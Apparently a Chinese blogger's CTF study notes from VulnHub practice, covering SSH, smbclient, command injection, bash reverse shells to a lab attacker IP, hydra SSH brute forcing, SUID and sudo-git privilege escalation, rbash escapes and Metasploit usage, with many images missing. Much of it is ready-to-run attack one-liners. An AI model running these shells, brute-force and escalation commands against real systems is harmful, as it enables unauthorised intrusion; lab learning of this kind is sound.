第二十四天 (重要!)在vulnhub中得到的小知识

1、SSH

ssh 是一种安全网络协议(远程登录

通过SSH,可以把所有传输的数据进行加密,也能够防止DNS欺骗和IP欺骗。还有一个额外的好处就是传输的数据是经过压缩的,所以可以加快传输的速度。

(1)口令登录

ssh 客户端用户名@服务器ip地址

ssh ldz@192.168.0.1

SSH服务的默认端口是22,也就是说,如果你不设置端口的话登录请求会自动送到远程主机的22端口。我们可以使用 -p 选项来修改端口号,比如连接到服务器的1234端口

ssh -p 1234 ldz@192.168.0.1

(2)公钥登录

每次登录远程主机都需要输入密码是很不方便的,如果想要省去这一步骤,可以利用密钥对进行连接,还可以提高安全性。

1、在本机生成密钥对

使用ssh-keygen命令生成密钥对:

ssh-keygen -t rsa   #-t表示类型选项,这里采用rsa加密算法

然后根据提示一步步的按enter键即可(其中有一个提示是要求设置私钥口令passphrase,不设置则为空,这里看心情吧,如果不放心私钥的安全可以设置一下),执行结束以后会在 /home/当前用户 目录下生成一个 .ssh 文件夹,其中包含私钥文件 id_rsa 和公钥文件 id_rsa.pub。

2、将公钥复制到远程主机中

使用ssh-copy-id命令将公钥复制到远程主机。ssh-copy-id会将公钥写到远程主机的 ~/ .ssh/authorized_key 文件中

ssh-copy-id ldz@192.168.0.1

经过以上两个步骤,以后再登录这个远程主机就不用再输入密码了。

2、find 命令

一般格式:find + 目录名称 + 参数

参数的含义↓

-name 文件名称

find /etc/ -name passwd  #查找/etc目录中文件名为passwd的文件

-user 文件所属用户
-group 文件所属组
-not 取反,非

find / -user 'technawi'
find / -user 'technawi' 2>/dev/null,  2>/dev/null是过滤掉类似没有权限的信息

3、SMB文件共享及应用

SambaLinux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成

SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网的不同计算机之间提供文件及打印机等资源的共享服务


smbclient命令详解↓

smbclient命令属于samba套件,它提供一种命令行使用交互式方式访问samba服务器的共享资源

smbclient(选项)(参数)
-B<ip地址>:传送广播数据包时所用的IP地址;
-d<排错层级>:指定记录文件所记载事件的详细程度;
-E:将信息送到标准错误输出设备;
-h:显示帮助;
-i<范围>:设置NetBIOS名称范围;
-I<IP地址>:指定服务器的IP地址;
-l<记录文件>:指定记录文件的名称;
-L:显示服务器端所分享出来的所有资源;
-M<NetBIOS名称>:可利用WinPopup协议,将信息送给选项中所指定的主机;
-n<NetBIOS名称>:指定用户端所要使用的NetBIOS名称;
-N:不用询问密码;
-O<连接槽选项>:设置用户端TCP连接槽的选项;
-p<TCP连接端口>:指定服务器端TCP连接端口编号;
-R<名称解析顺序>:设置NetBIOS名称解析的顺序;
-s<目录>:指定smb.conf所在的目录;
-t<服务器字码>:设置用何种字符码来解析服务器端的文件名称;
-T<tar选项>:备份服务器端分享的全部文件,并打包成tar格式的文件;
-U<用户名称>:指定用户名称;
-w<工作群组>:指定工作群组名称。
参数:
smb服务器:指定要连接的smb服务器。

使用 smbclient -L ip地址 可以查看指定Samba服务器上的所有共享目录
在这里插入图片描述
使用共享目录的命令格式为:smbclient //IP地址或主机名/共享目录名 -U用户名

因为此处是匿名访问所以无须加上"-U"选项来指定访问的用户名
在这里插入图片描述
然后为了读取上面的share$文件,可以直接在win上面输入↓
在这里插入图片描述
在这里插入图片描述

4、linux中用户提权su和sudo的理解和用法

想要提权到root权限,有两种方法↓

(1)用su切换到root用户登陆系统,进行管理操作,但必须要知道root密码,而且因为身份切换过来了他就可以进行任何root可以的操作,这也是非常不安全的

(2)在执行的命令前面加上sudo进行部分操作,这个相对于su灵活,允许哪些用户,执行哪些命令都可以配置

① 永久提权 su
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

②临时提权 sudo

sudo的配置文件是 /etc/sudoers

sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。

sudo -i rootsudo - rootsudo -i,sudo -sudo root效果相同 提示输入密码时该密码为当前账户的密码 要求执行该命令的用户必须在sudoers中才可以 su需要的是切换后账户的密 用法为“su 账户名称”

sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。 要求执行该命令的用户必须在sudoers中才可以

sudo su运行sudo命令给su命令提权,运行su命令。 要求执行该命令的用户必须在sudoers中才可以

在ctf靶场练习中,在linux提权可以用到 sudo su

5、命令注入

当页面中有webshell功能时,就看看有没有命令注入↓
在这里插入图片描述
使用连接符,可以执行多条指令↓

command1 && command2 前面的命令执行成功,才会执行后面的命令,前面的命令执行失败,后面的命令不会执行,与 || 正好相反

command1 | |command2 前面的命令执行成功,则后面的命令不会执行。前面的命令执行失败,后面的命令才会执行

| 命令A|命令B,即前面命令执行的正确输出,会交给后面的命令继续处理。若前面的命令执行失败,则会报错,若后面的命令无法处理前面命令的输出,也会报错

;分号 表示命令依次执行

echo 'bash -i >& /dev/tcp/192.168.0.108/6666 0>&1' | bash

6、linux反弹shell

反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击的机器上发送连接请求去连接我们的机器,将被攻击者的shell反弹到我们的机器上

例如 :
kali攻击者:192.168.0.4
被攻击者:192.168.0.3

① bash反弹shell

bash -i >& /dev/tcp/ip/port 0>&1

在kali中,监听端口↓

nc -lvp 7777

在这里插入图片描述
然后在被攻击的机器中输入↓

bash -i >& /dev/tcp/192.168.0.4/7777 0>&1

在这里插入图片描述
即可成功反弹shell到kali中↓
在这里插入图片描述
②接下来还有python反弹和nc反弹、php反弹等,遇到了再说吧

③另外,当出现这种情况时↓
在这里插入图片描述
su: must be run from a terminal 需要一个终端

这时候就可以用python调用本地的shell
命令↓

python -c 'import pty;pty.spawn("/bin/bash")'

7、Linux的一些基础命令

① 查看linux的用户

cat /etc/passwd

②查看服务器版本

cat /etc/issue

③查看内核版本信息

uname -a

④查看环境变量

set 或者 env

⑤是否有打印机

lpstat -a

⑥有什么服务在运行?是以什么样的权限在运行?

ps aux

ps -ef

top

cat /etc/services

⑦ 关注一下以 root 权限运行的服务,有可能对我们提权有帮助

ps aux | grep root

ps -ef | grep root

⑧获得当前目录
pwd

一、文件操作命令
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
二、文本操作命令
在这里插入图片描述
在这里插入图片描述

8、对练习了几个靶机的总结(都是linux靶机)↓

首先,找到靶机对应的ip,这里可用netdiscover 或者 nmap扫描(我一直用nmap去扫)

然后,找到ip地址后,去扫开放的端口、服务,看看有没有开放敏感的端口号,像什么ssh,smb服务、80端口web服务等

接着,去扫目录文件,用dirb,查看一些敏感文件或后台地址

然后,就去登录网页,凡事都可查看一些源代码,看看有没有什么提示信息或直接的flag给出来

查一下robots.txt,找后台,及登录方式,是爆破还是有用户名密码提示之类的,如果能登录成功,试试反弹shell,看能不能成功,成功的话就能拿到普通权限,这时候就要提权(另外,遇到cms时候,可以上网查对应有哪些漏洞,用msf找准漏洞模块来爆破拿shell)

先ls查看文件,有没有一眼看过去有特殊的文件,打开看看,说不定就是密码了,反正就是多看看多试试,当拿到密码后,

就可以试试sudo su提权 ,输入密码,即可到root权限,如果当sudo su 回显说需要终端,就用python脚本去伪造(上面笔记已记录了)

到了root权限,就各种查看文件,一般都在主目录,可以 cd 一下,再 ls一下,含有flag的文件就列出来了。

9、hydra 爆破

hydra是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具

例如想爆ssh的密码

hydra -l flag4 -P /root/password.list ssh://192.168.124.76

-l 指定单个用户名,适合在知道用户名爆破用户名密码时使用

-P 指定密码,/root/password.list 是字典的路径

ssh://192.168.124.76 指定是ssh模块和对应的ip地址

10、suid提权

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

已知的可用来提权的linux可行性的文件列表如下:

Nmap
Vim
find
Bash
More
Less
Nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件


find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行

touch test
find test -exec whoami \;

即可提权到root!

11、渗透工具msf的使用

遇到某些cms时,可以先 search cms名字,来获取一些漏洞攻击脚本

然后 use 某模块,再 show options,显示要配置的信息

都弄好之后,就 run

12、rbash绕过(rbash是受限制的bash,会被限制很多命令)

可以先查看可使用哪些命令↓

echo $PATH

尝试绕过的方法

1. 
vi test
:!/bin/sh

3. more less
more test 
!'sh'

5.
man ls
操作同more less

6.find
/usr/bin/find /etc/passwd  -exec whoami \;
/usr/bin/find /etc/passwd  -exec /bin/sh \;

8.awk
awk 'BEGIN {system("/bin/sh")}'
9.python
python -c "import os;os.system('whoami')"
python -c "import os;os.system('/bin/sh')"
python -c "import pty;pty.spawn('/bin/sh')"

13.
BASH_CMDS[a]=/bin/sh;a

然后接着更改环境变量

执行:
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

13、git提权

在靶机中,通过查看sudo配置文件,

sudo -l   # root身份运行哪些命令

在这里插入图片描述
就尝试git提权

sudo git help config 或者 sudo git -p help
!/bin/bash

即可提权

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值